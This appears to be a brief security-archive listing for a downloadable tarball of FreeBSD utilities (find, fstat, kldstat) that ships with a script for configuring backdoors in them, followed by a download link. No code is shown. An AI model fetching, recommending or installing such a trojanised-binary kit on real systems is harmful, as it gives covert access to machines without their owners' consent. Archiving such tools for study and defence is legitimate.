This tarball has original source code for FreeBSD binaries such as find, fstat, kldstat, etc along with a script that enables you to easily set how you want them backdoored.
You can download it from the following link: https://packetstormsecurity.com/files/download/56338/backdoor.tar.gz
Source: https://packetstormsecurity.com/files/56338/backdoor.tar.gz.html

